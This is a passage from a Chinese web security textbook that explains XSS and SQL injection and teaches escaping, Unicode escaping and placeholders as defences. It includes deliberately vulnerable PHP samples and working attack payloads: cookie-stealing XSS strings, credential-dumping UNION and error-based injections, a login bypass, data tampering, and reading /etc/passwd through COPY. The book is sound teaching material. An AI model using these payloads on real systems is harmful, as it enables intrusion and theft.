有所不同，因此，其防范对策也不尽相同。\n生成 URL 时的对策\n当 URL 由程序动态生成时，需要对其进行校验，仅允许 http 和 https 协议。此外，通过校验的 URL 还需要作为属性值进行 HTML 转义 17\n 。\n具体来说，URL 需满足下列两个条件中的一个。\n以 http: 或 https: 开头的绝对 URL\n以 / 开头的相对 URL\n以下为能够实现上述校验的函数示例。\nfunction check_url($url) {\n if (preg_match('/\\Ahttp:/', $url)\n || preg_match('/\\Ahttps:/', $url)\n || preg_match('#\\A/#', $url)) {\n return true;\n } else {\n return false;\n }\n}\n传入该函数的字符串如果以 http:、https: 或 / 开头则返回 true，否则就返回 false。\n校验链接网址\n如果外界能够任意指定链接的跳转去向，用户就有可能被引向恶意网站，从而被攻击者通过钓鱼式攻击方式骗取个人信息。因此，在不明确跳转至的外部网站的链接时，可以执行如下任一操作。\n检查链接的目标 URL，如果指向外部网站就报错\n当链接目标为外部 URL 时，显示一个警告页面以提醒用户可能存在风险\n关于以上两种方法的详情请参考 4.7.1 节。\n17\n 尽管与 XSS 无关，生成 URL 时也依然需要进行百分号编码。\nJavaScript 的动态生成\n事件绑定函数的 XSS\n在当今的 Web 应用中，服务器端动态生成一部分 JavaScript 的情况实属常见。其中，一个典型的例子就是动态生成 JavaScript 中的字符串字面量。\n比如，下面的 PHP 脚本中，在 body 元素的 onload 事件中调用函数时的参数就是由服务器端动态生成的 18\n 。\n代码清单 /43/43-012.php\n<head><script>\nfunction init(a) {} // 空函数\n</script></head>\n<body onload=\"init('<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES) ?>\n')\">\n</body>\n这里使用 htmlspecialchars\n 函数进行了转义，因此貌似很妥善，但其实这段 PHP 脚本中存在 XSS 漏洞。试使用以下查询文字列来启动脚本。\nname=');alert(document.cookie)//\n启动后将生成如下 HTML。\n<body onload=\"init('');alert(document.cookie)//')\">\n由于 onload 事件绑定函数本质上是 HTML 中的属性值，能解释字符实体，因此，如下 JavaScript 代码就会被执行。\ninit('');alert(document.cookie)//')\ninit\n 函数的参数字符串字面量被迫终结，后面被添加了其他语句。这时，页面显示如图 4-24。\n图 4-24 XSS 攻击成功\n此处之所以会混入安全隐患，是因为没有将 JavaScript 字符串字面量进行转义。因此，输入参数中的单引号没有被识别为字符，而是被当成了 JavaScript 中字符串的结束符。\n为了避免这种情况，理论上应采取如下措施。\n1. 首先，将数据作为 JavaScript 字符串字面量进行转义\n2. 将得到的结果再次进行 HTML 转义\n下表为 JavaScript 字符串字面量中必须被转义的字符。\n表 4-8 JavaScript 字符串字面量中应被转义的字符\n字符\n转义后\n`\\`\n`\\\\`\n`'`\n`\\'`\n`\"`\n`\\\"`\n换行\n`\\n`\n按照上述规则，假设输入值为 < >' \"\\，就应该进行如下转义。\n表 4-9 JavaScript 字符串字面量中应被转义的字符\n原字符\nJavaScript 转义后\nHTML 转义后\n`<>'\"\\`\n`<>\\'\\\"\\\\`\n`<>\\'\\\"\\\\`\n而 JavaScript 更为实际的转义方法在后面介绍“JavaScript 字符串字面量动态生成的对策”时会进行讲述。\nscript 元素的 XSS\n下面我们来看一下当 script 元素内 JavaScript 的一部分是动态生成时的 XSS 漏洞。script 元素中不能解释 Tag 和字符实体，所以无需进行 HTML 转义，只要进行 JavaScript 的转义即可。但是，仅此还不够。比如下面的这段脚本就含有安全隐患。\n代码清单 /43/43-013.php\n<?php\nfunction escape_js($s) {\n return mb_ereg_replace('([\\\\\\\\\\'\"])', '\\\\\\1', $s);\n}\n?>\n<body>\n<script src=\"jquery-1.4.4.min.js\"></script>\n你好，<span id=\"name\"></span>\n<script>\n $('#name').text('<?php echo escape_js($_GET['name']); ?>\n');\n</script>\n</body>\n通过在 \\、'、\" 前插入 \\，escape_js\n 函数就能将输入值作为 JavaScript 字符串字面量进行转义。\n这段代码看似安全无虞，但是当输入值中包含 </script> 时，</script> 就会被当成 JavaScript 代码的结束符（下图）。\n<script>\n foo('</script>\n');\n</script>\n这段代码中有两处 </script>\n ，script 元素会在遇到第一个 </script>\n 时结束。script 元素不考虑上下文，只要看到 </script>\n 就会立刻终结（图 4-25）。\n<script> ●●●●●●●●●● </script>\n ↑\n 浏览器不会考虑JavaScript的语法，\n 仅负责将<script>和</script>中间\n 的部分传送给JavaScript引擎处理。\n图 4-25 浏览器识别 JavaScript\n这时，攻击者就可以恶意利用这一特性，并输入以下值来实施 XSS 攻击。\n</script><script>alert(document.cookie)//\n页面显示如下。\n图 4-26 XSS 攻击成功\n根据 HTML 的规格，script 元素中的数据不能出现 </。而字符实体因不能被解释也不能使用。所以，必须通过变更生成的 JavaScript 代码来避免这些问题。以下就是具体的对策。\nJavaScript 字符串字面量动态生成的对策\n综上所述，动态生成 JavaScript 字符串字面量时需要遵循以下规则。\n（1）按照 JavaScript 语法，将引号（单引号及双引号）和斜杠 \\ 及换行符等进行转义。 \" → \\\"' → \\' 换行符→ \\n \\ → \\（2-1）如果是事件绑定函数，将（1）的执行结果按照字符实体进行 HTML 转义，并用双引号括起来（2-2）如果是在 script 元素中，执行（1）后确保字符串中不存在 </。\n虽然理论上如此，但 JavaScript 的转义规则相当复杂，执行起来很容易产生疏漏，因此一直以来都是安全隐患诞生的温床。鉴于这种情况，最好的办法可能就是避免动态生成 JavaScript。然而，现实中又会经常需要传给 JavaScript 的参数是动态的，因此，接下来就向大家介绍一下这种情况下可以采取的两类处理方法。\nUnicode 转义\n为了规避动态生成 JavaScript 带来的风险，可以采取将字母和数字以外的所有字符都进行转义的方法。这种方法利用了 JavaScript 能将 Unicode 代码点 U+XXXX 字符转义为 \\uXXXX 的功能。\n下面就是实施 Unicode 转义的 escape_js_string\n 函数的例子。前提是字符编码为 UTF-8。escape_js_string\n 中，除了字母和数字以外，减号（－）和点号（.）也不进行转义。因此 像－1.37 这样的数值就不会被转义。不转义减号和点号对安全性不会有影响。\n代码清单 /43/escape_js_string.php\n<?php\n// 将字符串全部转换为 \\uXXXX 形式\nfunction unicode_escape($matches) {\n $u16 = mb_convert_encoding($matches[0], 'UTF-16');\n return preg_replace('/[0-9a-f]{4}/' , '\\u$0', bin2hex($u16));\n}\n// 将除了字母、数字、逗号和点号外的字符转义为 \\uXXXX 形式\nfunction escape_js_string($s) {\n return preg_replace_callback('/[^-\\.0-9a-zA-Z]+/u', 'unicode_escape', $s);\n}\n?>\n调用例\n<script>\n alert('<?php echo escape_js_string(' 吉 and 吉 '); ?>');\n</script>\n生成的脚本\n<script>\n alert('\\ud842\\udfb7and\\u5409');\n</script>\n脚本解说\nunicode_escape\n 函数的功能为将输入字符串全部以 \\uXXXX 的 UNICODE 形式进行转义\n在 mb_convert_encoding\n 中将输入字符串的字符编码转换为 UTF-16\n在 bin2hex\n 中将对象字符串转换为十六进制\n使用正则表达式，每 4 个字节插入一个 \\u\nescape_js_string\n 函数的功能为将字母与数字以外的字符转义为 \\uXXXX 的形式\n在 preg_replace_callback\n 函数中，将字母和数字以外的字符串全部传给 unicode_escape\n 函数处理\nJavaScript 中引用定义在 script 元素外的参数的方法\n为了避免动态生成 JavaScript，在 script 元素外部定义参数后再在 JavaScript 中引用该参数也是一个解决方案。不过，该方案的实施需要利用 hidden 参数。\n下面展示了利用 hidden 参数的示例脚本。前提条件是内部字符编码为 UTF-8。\n<input type=\"hidden\" id=\"familyname\" value=\"<?php echo htmlspecialchars($familyname, ENT_COMPAT, 'UTF-8'); ?>\n\">\n...\n<script type=\"text/javascript\">\nvar familyname = document.getElementById('familyname').value;\n//...\n开头的 input 元素指定了 id=\"familyname\"\n 以使其能被引用。此外，根据属性值的转义规则，第 2 行在设值时使用了 htmlspecialchars\n 进行转义并将其用双引号括了起来。\n而 input 的值则在倒数第 2 行被 getElementById\n 方法引用。\n此方案的优点为，由于避开了 JavaScript 特有的繁琐问题，只需遵守少量规则就能防范 XSS，因此思路比较简单。而缺点就是定义 JavaScript 代码与参数的地方相隔较远，可能会使脚本的可读性降低。\n读者在实际操作时，可以在综合考虑两种方案的特性后，根据实际情况做出抉择。\n18\n 为了方便读者理解，支持页面中收录的代码添加了在页面上显示查询字符串的处理。\nDOM based XSS\n除了上述的各种 XSS 之外，还有一种叫作“DOM based XSS”的 XSS。JavaScript 常用于客户端的显示处理，DOM based XSS 即潜藏于此处的安全隐患。\n下面是含有 DOM based XSS 漏洞的简单的 HTML。\n代码清单 /43/43-011.html\n<body>\n你好\n<script type=\"text/javascript\">\n document.URL.match(/name=([^&]*)/);──取出查询字符串中 name 的值\n document.write(unescape(RegExp.$1));─将取出的值显示在页面上\n</script>\n</body>\n这段 HTML 的目的是将查询字符串中 name=\n 指定的姓名通过 JavaScript 显示在页面上。例如，使用 http://example.jp/43-011.html?name=YamadaURL 显示页面时，页面上就会显示“你好，Yamada”。\n按照惯例，下面我们来看一下对这段 HTML 进行攻击的示例。使用如下 URL 打开网页时，页面显示如图 4-27 所示。\nhttp://example.jp/43/43-011.html?name=<script>alert(document.cookie)\n</script>\n图 4-27 DOM based XSS 的结果\n攻击者注入的 JavaScript 代码不会出现于服务器端生成的 HTML 中，因此这类 XSS 被称为“DOM based XSS”。现今使用 JavaScript 来显示页面的案例越来越多，而即便是部分显示使用 JavaScript 也必须要考虑其中是否会有 HTML 标签。\nJavaScript 的标准函数中没有提供转义 HTML 的功能，因此这里我们使用 jQuery 这个风靡全球的 JavaScript 库来示范字符串的显示。使用 span 元素确定字符串的显示位置，然后向 id 指定的 DOM 中插入文本文字。这时可以使用 text\n 方法自动进行转义操作。\n代码清单 /43/43-011a.html\n<body>\n<script src=\"jquery-1.4.4.min.js\"></script> ←──加载 jQuery\n你好 <span id=\"name\"></span>\n<script type=\"text/javascript\">\nif (document.URL.match(/name\\=([^&]*)/)) {\n var name = unescape(RegExp.$1);\n $('#name').text(name); ←─────────────显示文本\n}\n</script>\n</body>\n实施防范策略后的脚本运行结果如下图，能看到 < 等被转义后正确地显示了出来。\n图 4-28 实施防范策略后脚本的显示结果\n允许 HTML 标签或 CSS 时的对策\n开发博客系统或 SNS 网站时，有时需要允许用户使用 HTML 标签或自定义 CSS（Cascading Style Sheet）。但是，这样会带来很大的 XSS 风险。\n一旦允许输入 HTML 标签，用户就能够使用 script 元素或事件绑定函数等执行 JavaScript，同样，在 CSS 中使用 expression 功能 19\n 也能执行 JavaScript，而问题是这些 JavaScript 有可能并不是开发者所设置的。\n19\n 这是微软的 Internet Explorer 中提供的扩充功能。IE8 的标准模式中禁用了此功能，但在其他模式中还可以使用。\n为了避免此类 JavaScript 的执行，可以采取解析用户输入的 HTML，仅允许可以显示的元素的方法。但是 HTML 的语法结构相当复杂，此方法实施起来实属不易。\n所以，开发允许用户输入 HTML 标签或 CSS 的网站时，最好的方法可能就是使用能够 解析 HTML 文本语法结构的第三方程序库。PHP 中能利用的程序库有 HTML Purifier（http://htmlpurifier.org/\n ）等。\n参考：Perl 中转义 Unicode 的函数\n以下为 Perl 中转义 Unicode 的函数范例。\n#!/usr/bin/perl use strict;\nuse utf8;\nuse Encode qw(decode encode);\n# ...\n# 将输入值全部转义为 \\uXXXX 形式\nsub unicode_escape {\n my $u16 = encode('UTF-16BE', $_[0]); # 转换为 UTF-16\n my $hex = unpack('H*', $u16); # 转换为十六进制字符串\n# 每隔 4 个字符插入一个 \\u\n $hex =~ s/([0-9a-f]{4})/\\\\u\\1/g;\n return $hex;\n}\n# 将字母和数字以外的字符转义为 \\uXXXX 形式\nsub escape_js_string {\n my ($s) = @_;\n# 将字母、数字、减号、点号以外的字符串传给 unicode 函数处理\n $s =~ s/([^-\\.0-9a-zA-Z]+)/unicode_escape($1)/eg;\n return $s;\n}\n4.3.3 错误消息导致的信息泄漏\n错误消息导致的信息泄漏有以下两种情况。\n错误消息中含有对攻击者有帮助的应用程序内部信息\n通过蓄意攻击使错误信息中显示隐私信息（如用户个人信息等）\n应用程序内部信息是指，发生错误的函数名、数据库的表名、列名等，这些信息都有可能成为攻击的突破口。而第二种情况的具体内容会在 4.4.1 节中结合示例讲解。\n为了解决以上问题，当应用程序发生错误时，应该仅在页面上显示“此时访问量太大，请稍后再试”等提示用户的消息，而错误的详细内容则以错误日志（Error Log）的形式输出。详情可参考 5.4 节。\nPHP 的情况下，禁止显示详细错误信息，只需在 php.ini 中做如下设置。\ndisplay_errors = Off\n总结\n4.3 节集中讲述了 XSS 漏洞。由于 XSS 漏洞产生的主要原因为显示的方法存在问题，所以消除 XSS 漏洞的第一步就是生成正确的 HTML。开发新项目时，只要能够保持警惕，避免 XSS 漏洞并不困难，但事后再来应对 XSS 漏洞的话却相当费心费力，而且有时即使发现了隐患也会姑且将其搁置。但这样做是非常危险的，因此，不论网站的特点如何，笔者都强烈建议从最开始就编写正确的代码来杜绝 XSS 漏洞。\n继续深入学习\n读者们在学习完本书的内容后，如果还想继续深入学习的话，可以参考以下信息。\n长谷川阳介的连载\nNetAgent 公司的长谷川阳介在“@IT”上连载了《教科书上学不到 Web 应用安全知识》系列文章，围绕着浏览器关于 XSS 的特有问题等进行了浅显易懂的讲解。\nhttp://www.atmarkit.co.jp/fcoding/index/webapp.html\n4.4 SQL 调用相关的安全隐患\n大多数 Web 应用都使用 SQL 来访问关系型数据库。但如果程序中使用 SQL 语句访问数据库的实现代码不完善，就会产生 SQL 注入漏洞。接下来，本节就将对 SQL 注入漏洞做一介绍。\n4.4.1 SQL 注入\n概要\nSQL 注入漏洞是由于 SQL 语句的调用方法不完善而产生的安全隐患。一旦应用中存在 SQL 注入漏洞，就可能会造成如下影响。值得注意的是，以下影响中攻击者都能够直接对服务器实施主动攻击，而不需要用户的参与。\n数据库内的信息全部被外界窃取\n数据库中的内容被篡改\n登录认证被绕过（应用程序登录不需要用户名和密码）\n其他，例如服务器上的文件被读取或修改、服务器上的程序被执行等\n可见 SQL 注入漏洞的破坏力极大，因此，作为程序开发人员，在编程时务必要确保不引入 SQL 注入漏洞。其中，使用静态占位符调用 SQL 语句就是一种有效的对策。详情请参考本节的“对策”。\nSQL 注入漏洞总览\n攻击手段与影响\n接下来，笔者将使用示例脚本来讲解 SQL 注入攻击的方法与影响。\n示例脚本解说\n以下 PHP 脚本的作用为检索数据库（PostgreSQL）内的图书库存，该脚本含有 SQL 注入漏洞。\n代码清单 /44/44-001.php\n<?php\n header('Content-Type: text/html; charset=UTF-8');\n $author = $_GET['author'];\n $con = pg_connect(\"host=localhost dbname=wasbook user=postgres password=wasbook\");\n $sqlstm = \"SELECT id, title, author, publisher, date, price FROM books WHERE author ='$author' ORDER BM id\";\n $rs = pg_query($con, $sqlstm);\n?>\n<body>\n<table border=1>\n<tr>\n<th> 图书 ID</th><th> 书名 </th><th> 作者名 </th><th> 出版社 </th>\n<th> 出版年份 </th><th> 价格 </th>\n</tr>\n<?php\n $maxrows = pg_num_rows($rs);\n for ($i = 0; $i < $maxrows; $i++) {\n $row = pg_fetch_row($rs, $i); echo \"<tr>\\n\";\n for ($j = 0; $j < 6; $j++) {\n echo \"<td>\" . $row[$j] . \"</td>\\n\";\n }\n echo \"</tr>\\n\";\n }\n pg_close($con);\n?>\n</table>\n</body>\n首先来看一下正常情况下脚本的运行情况，比如，使用如下 URL 来检索作者为 Shakespeare 的图书。\nhttp://example.jp/44/44-001.php?author=Shakespeare\n图 4-29 正常调用示例\n接下来就让我们来看一下针对此脚本的攻击方法。\n错误消息导致的信息泄漏\n以下 URL 的目的在于攻击 44-001.php 以导致信息泄露。使用该 URL 打开页面，显示结果如图 4-30 所示。\nhttp://example.jp/44-001.php? author='+and+cast((select+id||':'||pwd+from+users+offset+0+limit+1)+as+integer)>1--\n图 4-30 错误消息导致的信息泄漏\n错误消息中显示了用户名和密码为 yamada:pass1。这就是利用 SQL 注入攻击致使信息泄露的手段。\n此攻击的核心部分为下面的子查询语句。\n(select id||':'||pwd from users offset 0 limit 1)\n该子查询查找 users 表中第一条数据的 id 和 pwd（用户名和密码）字段后，返回将两者以冒号相连后的字符串，即上图中的 yamada:pass1。然后，语句中尝试将字符串 yamada:pass1 通过 cast 函数转换为 integer 类型，但由于转换类型时出错，页面上显示了错误消息。\n此处并不需要透彻理解这条 SQL 语句，但一定要知道通过 SQL 注入攻击能够取得数据库中的任意信息。即使 SQL 注入漏洞存在于一些不起眼的地方，也可能会直接导致网站的重要信息泄漏。\n另外，上述 SQL 注入攻击也是恶意利用错误消息的典型案例。因此，开发时应该注意不要将程序内部的错误内容显示在错误消息中。\nUNION SELECT 致使的信息泄漏\nSQL 注入引发的信息泄漏中，除了利用错误消息的方法外，还有一种手段是使用 UNION SELECT。UNION SELECT 的作用为将两个 SQL 语句的检索结果求和。\n下面我们来看一个利用 UNION SELECT 致使信息泄漏的例子。执行以下 URL 后，页面显示结果如图 4-31 所示。从图中可以看出，本应显示图书信息的页面上显示了用户的个人信息。\nhttp://example.jp/44/44-001.php?author='+union+select+id,pwd,name,addr,null,null,null+from+users--\n图 4-31 使用 UNION SELECT 进行攻击的结果\n此处不对攻击的详情进行说明，读者只需记住一旦使用 UNION SELECT 的攻击得逞，仅此一次攻击就能使大量信息泄漏。\n使用 SQL 注入绕过认证\n当登录页面存在 SQL 注入漏洞时，认证处理就能被绕过，从而导致在不知道密码的情况下也能成功登录应用。\n以下就是一个含有 SQL 注入漏洞的登录页面。首先是用户名和密码的输入页面，为了方便演示，此处密码输入框的 type 属性使用了 text。\n代码清单 /44/44-002.html\n<html>\n<head><title> 请登录 </title></head>\n<body>\n<form action=\"44-003.php\" method=\"POST\">\n用户名 <input type=\"text\" name=\"id\"><br>\n密码 <input type=\"text\" name=\"pwd\"><br>\n<input type=\"submit\" value=\" 登录 \">\n</form>\n</body>\n</html>\n下面是接收用户名和密码后进行登录处理的脚本。\n代码清单 /44/44-003.php\n<?php\n session_start();\n header('Content-Type: text/html; charset=UTF-8');\n $id = @$_POST['id']; // 用户名\n $pwd = @$_POST['pwd']; // 密码\n // 连接数据库\n $con = pg_connect(\"host=localhost dbname=wasbook user=postgres password=wasbook\");\n // 拼接 SQL 语句\n $sql = \"SELECT * FROM users WHERE id ='$id' and pwd = '$pwd'\";\n $rs = pg_query($con, $sql); // 执行查询\n?>\n<html>\n<body>\n<?php\n if (pg_num_rows($rs) > 0) { // 如果存在 SELECT 结果则登录成功\n $_SESSION['id'] = $id;\n echo ' 登录成功 ';\n } else {\n echo ' 登录失败 ';\n }\n pg_close($con);\n?>\n</body>\n</html>\n正常情况下，登录页面中输入用户名 yamada 和密码 pass1 后就能认证成功。\n图 4-32 认证成功例\n下面我们来看一下对此登录页面进行攻击的例子。假设攻击者在不知道密码的情况下输入以下密码。\n' or 'a'='a\n这时登录竟然也成功了。\n图 4-33 认证被绕过\n此时，拼接后的 SQL 语句如下。阴影部分为密码输入框内输入的字符串。\nSELECT * FROM users WHERE id ='yamada' and pwd = '' OR 'a'='a\n'\nSQL 语句的末尾被添加了 OR 'a' = 'a'\n ，因此 WHERE 语句始终保持成立状态。\n由此可知，如果登录页面存在 SQL 注入漏洞，就可能使密码输入框形同虚设。\n通过 SQL 注入攻击篡改数据\n接下来向大家介绍一下使用 SQL 注入攻击篡改页面数据的例子。首先用以下 URL 打开页面。\nhttp://example.jp/44/44-001.php?author=';update+books+set+title%3D'<i>cracked!</i>'+where+id%3d'1001\n'--\n然后再次检索 Shakespeare，页面显示就如下图所示。“仲夏夜之梦”变成了“cracked ！”，字体也变成了斜体。\n图 4-34 篡改数据的例子\n第一次打开页面时执行的 SQL 文如下。阴影部分为外界传入的字符串，此处为了方便阅读加入了换行。-- 后面的字符被当成 SQL 文的注释而被忽略。\nSELECT * FROM books WHERE author ='';update books set title='<i>cracked!</i>' where id='1001'--\n'ORDER BM id\n同时我们看到 HTML 的 i 元素也生效了，由此可以得知插入的 HTML 标签是有效的。而在实际的攻击中，攻击者使用 iframe 或 script 元素等发动攻击，使用户的计算机感染病毒的案例可以说是层出不穷。\n另外，如果要在虚拟机中恢复被篡改的数据库，可以执行以下脚本，或者在 http://example.jp/44\n 的菜单中点击“12. resetdb ：恢复数据库”链接。\nhttp://example.jp/44/resetdb.php\n其他攻击\n根据数据库引擎的不同，通过 SQL 注入攻击还可能会达到下列效果。\n执行 OS 命令\n读取文件\n编辑文件\n通过 HTTP 请求攻击其他服务器\n此处举一个读取文件的例子。同样使用 44-001.php 作为范例。\n首先使用如下 URL 打开页面。\nhttp://example.jp/44/44-001.php?author=';copy+books(title)+from+'/etc/passwd'--\n此时会调用如下 SQL 语句。\ncopy books(title) from '/etc/passwd'\n这里的 COPY 语句是 PostgreSQL 数据库的扩展功能，能够将文件内容存入表中。此例中 /etc/passwd 就被存入了 books 表的 title 列。执行 COPY 语句需要 PostgreSQL 的管理员权限以连接数据库。\n为了确认效果，接下来我们用如下 URL 打开页面。\nhttp://example.jp/44/44-001.php?author='or+author+is+null--\n受 SQL 注入攻击的影响，页面显示 author 列的值为 NULL 的行。结果如下图所示。\n图 4-35 /etc/passwd 被存入数据库\n/etc/passwd 的内容被保存至数据库。\n由此可见，在某些情况下，SQL 注入攻击可能会导致服务器上的文件内容经由数据库泄漏至外界。\nSQL 注入攻击造成的影响因数据库引擎的不同而各异。但不管是什么样的数据库引擎，SQL 注入都会导致数据库内的数据被外界读取。关于各数据库引擎的影响，可以参考金床所著的《Web 应用程序安全》[2]。\n综上所述，SQL 注入攻击能导致数据库内的任意数据被泄漏或篡改，因此，SQL 注入漏洞可谓贻害无穷。\n专栏：数据库中表名与列名的调查方法\n通过 SQL 语句能够调查数据库内存在哪些表和列。SQL 标准规格中规定了名为 INFORMATION_SCHEMA 的数据库，使用其中的 tables 和 columns 等视图（假想表），就可以从中读取表和列的定义。\n图 4-36 展示了通过 SQL 注入攻击来使用 columns 视图使页面显示 user 表定义信息的范例。一般攻击者都会使用这种方法来探索数据库。图中的页面上显示了表名、列名和类型名。**\nhttp://example.jp/44/44-001.php?author='+union+select+table_name,column_name,data_type,null,null,null,null+from+information_schema.columns+order+by+1--\n图 4-36 使用 SQL 注入攻击显示表定义\n安全隐患的产生原因\nSQL 注入攻击能够以开发者意想不到的方式改变 SQL 语句的构造，其中很大程度上都是因为字面量 20\n 的缘故。字面量指的是 SQL 语句中的固定值，比如字符串 'Shakespeare'\n 和数值 -5\n 都是字面量。SQL 中每种数据类型都有相应的字面量，其中最常用的是字符串字面量和数值字面量 21\n 。\n20\n 字面量以外的其他原因造成的 SQL 注入攻击，请参考“各种列的排序”小节。\n21\n 除此以外还有布尔型字面量和日期时间字面量等。\n字符串字面量的问题\nSQL 标准规格中规定字符串字面量必须用单引号括起来。而若要在字符串字面量内使用单引号，就需要使用连续两个单引号来表示。这被称为单引号转义。因此，将“O'Reilly”用于 SQL 的字符串字面量时就需写成 O''Reilly\n 。\n然而，在有 SQL 注入漏洞的程序中，由于没有转义单引号，所以就导致拼接后的 SQL 语句如下。\nSELECT * FROM books WHERE author='O'Reilly\n'\n将此 SQL 语句的后半部分放大，如下图所示。\n图 4-37 上述 SQL 语句的后半部分\n“O'Reilly\n ”中的单引号 22\n 使得字符串字面量结束，后面的“Reilly'\n ”被排除出了字符串字面量。这部分在 SQL 语句中没有意义，所以就会产生语法错误。\n但是，如果将“Reilly'\n ”换成有意义的 SQL 语句会如何呢？其实这正是 SQL 注入攻击的方法。SQL 注入攻击中，被插入的单引号等排除出的字符串是有意义的 SQL 语句，因此就能够被应用程序调用而执行特定操作。\n为了便于理解，我们将 SQL 注入攻击的字符串比喻为笼中的狮子，如下图所示。无论攻击字符串多么危险，只要它被解释为字面量就安然无事。而如果狮子（攻击字符串）被放出了笼子（字面量），它就会执行攻击。\n图 4-38 SQL 注入攻击字符串\n针对数值的 SQL 注入攻击\n前面介绍了针对字符串字面量的 SQL 注入攻击，而数值字面量也会遭受 SQL 注入攻击。Web 开发中普遍使用的脚本语言（PHP、Perl、Ruby 等）多为动态类型语言，不限制变量的类型。因此，理应填入数值的地方就有可能会被填入其他类型的字符。比如，假设以下 SQL 语句中 age 列的类型为整数型，存储的是职员的年龄。\nSELECT * FROM employees WHERE age < $age\n这时，如果将以下字符串传入 $age\n ，就形成了 SQL 注入攻击。\n1;DELETE FROM employees\n拼接后的 SQL 语句如下。\nSELECT * FROM employees WHERE age < 1;DELETE FROM employees\n而一旦执行此 SQL 语句就会删除所有的职员信息。\n由于数值字面量没有用单引号围住，所以，当出现非数值的字符时即被视为数值字面量终止。此例中，分号 ;\n 不是数值，因此分号以后的值就被排除出了数值字面量，而被解释为 SQL 语句的一部分。\n22\n 严格来说是英文中的撇号，但通常情况下和单引号通用。\n对策\n前面已经提到，产生 SQL 注入漏洞的根本原因为，被指定为参数的字符串的一部分被排除出字面量，导致 SQL 语句发生了变化。因此，要防范 SQL 注入漏洞，就必须防止 SQL 语句在拼接过程中被更改。具体可采取如下两种方法。\n（a）使用占位符拼接 SQL 语句\n（b）在应用程序中拼接 SQL 语句时，要确保字面量被正确处理，SQL 语句不被更改\n由于（b）方法的实施非常困难，因此这里极力推荐采用（a）方法 23\n 。\n23\n 关于 SQL 中字面量的正确构成方法，请参考独立行政法人信息处理推进机构（IPA）发表的《安全调用 SQL 的方法》[5]。\n使用占位符拼接 SQL 语句\n使用了占位符后，之前检索图书库存的 SQL 语句就可以记述如下。\nSELECT * FROM books WHERE author = ? ORDER BM id\nSQL 语句中的问号就是占位符，表示将变量或表达式等可变参数填到此处。占位符（Place Holder）的英文即为“占座”的意思。下面我们就来演示一下如何使用占位符修改上述含有漏洞的范例。这里使用了名为 MDB2 的调用 SQL 语句的程序库。\n代码清单 /44/44-004.php\n<?php\n require_once 'MDB2.php';\n header('Content-Type: text/html; charset=UTF-8');\n $author = $_GET['author'];\n // 连接数据库时指定字符编码为 UTF-8\n $mdb2 = MDB2::connect('pgsql://wasbook:wasbook@localhost/wasbook?charset=utf8');\n $sql = \"SELECT * FROM books WHERE author = ? ORDER BM id\";\n // 准备调用 SQL。在第 2 个参数数组中指定占位符的类型\n $stmt = $mdb2->prepare($sql, array('text'));\n // 执行 SQL 语句。execute 方法的参数为参数的实际值（绑定值）\n $rs = $stmt->execute(array($author));\n // 省略显示的部分。\n $mdb2->disconnect(); // 切断数据库连接\n?>\n在上述脚本中，author = ?\n 部分使用了占位符。此外，在调用 execute\n 方法时指定了实际的参数值。而将值分配给占位符这一操作就被称为绑定变量。\n专栏：采用 MDB2 的原因\nPHP 中连接 MySQL 或 PostgreSQL 等数据库引擎的程序库种类繁多，而笔者在试用了很多程序库后发现，PEAR 类库中的 MDB2 的安全性最好。原因如下（调查时间为 2010 年 12 月）。\nMDB2 连接数据库时能够方便地指定字符编码。PDO 等其他程序库指定文字编码非常不便\n提供有占位符和转义等直接关系到安全性的功能\n被 PEAR 合并的其他程序库（例如 DB）都已停止后续维护\n为什么使用占位符会安全\n占位符依据实现方法可分为静态占位符和动态占位符两类。下面我们就来看一下为什么使用占位符能够安全地调用 SQL 语句。\n静态占位符\n静态占位符 24\n 的绑定变量操作在数据库引擎中执行。含有占位符的 SQL 语句被直接发送至数据库引擎，数据库引擎执行编译等准备工作后确定 SQL 语句。随后绑定值也被发送至数据库引擎，数据库引擎将收到的值填充进 SQL 语句后将其执行（图 4-39）。\n图 4-39 静态占位符\n由于 SQL 语句是在包含占位符的状态下被编译的，因此，从理论上来说，之后 SQL 语句就不可能再被改变。\n动态占位符\n动态占位符的方式为，首先在处理 SQL 的程序库中执行绑定变量操作，然后再将 SQL 语句发送给数据库引擎处理。绑定变量时字面量会被妥善处理，因此只要处理中没有 Bug 就不会遭受 SQL 注入攻击（图 4-40）。\n图 4-40 动态占位符\n由此可见，无论使用静态还是动态占位符都能消除 SQL 注入漏洞。但就理论上来说，静态占位符能够完全消除 SQL 注入漏洞出现的可能性，所以应当尽可能地采用静态占位符。\n动态占位符可能会因程序问题而造成 SQL 注入漏洞，比如 JVN#5974872325\n 。详情可参考笔者的博客文章 [4]。\n参考：LIKE 语句与通配符\n使用 LIKE 语句进行模糊查询时由通配符引发的问题，经常容易与 SQL 注入混为一谈。指定 LIKE 语句的查询模式时，_ 匹配任意 1 个字符，% 匹配任意 1 个或多个字符。_ 和 % 就被称为通配符。\n使用 LIKE 语句进行查询时，如果字符中含有 _ 或 %，就必须对这些通配符进行转义。不进行转义的话就会出现很多问题，但这并不是 SQL 注入，而很多人却经常将两者混淆。\n接下来就让我们首先通过示例看一下 LIKE 语句的用法。下面是一条用来查询 name 列中包含“山田”的行的语句（部分匹配）。\nWHERE name LIKE '% 山田 %'\n要在 LIKE 语句中查询 _ 或 %，就需要使它们不再担任通配符的角色，即对其进行转义。转义时使用的字符应该使用 ESCAPE 语句指定 26\n 。下面的例子中就使用了 # 作为转义字符。\n例如，下面是一条查询 name 列中包含 % 的行的语句。第一个和最后一个 % 为通配符，#% 表示查询对象字符为 %。\nWHERE name LIKE '%#%%' ESCAPE '#'\n虽然转义通配符与 SQL 注入漏洞并无直接关联，但却是正确处理所必需的步骤。\n转义通配符的 PHP 函数示例如下所示。它适用于 PostgreSQL 和 MySQL。前提为 PHP 的内部字符编码设置无误。\nfunction escape_wildcard($s) {\n return mb_ereg_replace('([_%#])', '#\\1', $s);\n}\n其他数据库引擎中需要转义的字符则略有不同，如下表所示。\n表 4-10 需要转义的通配符\n数据库\n转义对象字符\n补充说明\nMySQL\n\\_ %\nPostgreSQL\n\\_ %\nOracle\n\\_ % \\_ %\n全角字符也需转义\nMS SQL Server\n\\_ % [\n见 ※1\nIBM DB2\n\\_ % \\_ %\n全角字符也需转义\n※1 MS SQL Server 中能够使用 [a-z] 这种类似于正则表达式的通配符。[a-z] 匹配 1 个小写字母。因此，要查询 [ 本身就必须将 [ 转义。参考：http://msdn.microsoft.com/zh-cn/library/ms179859.aspx\n调查时上述数据库的版本如下。\n表 4-11 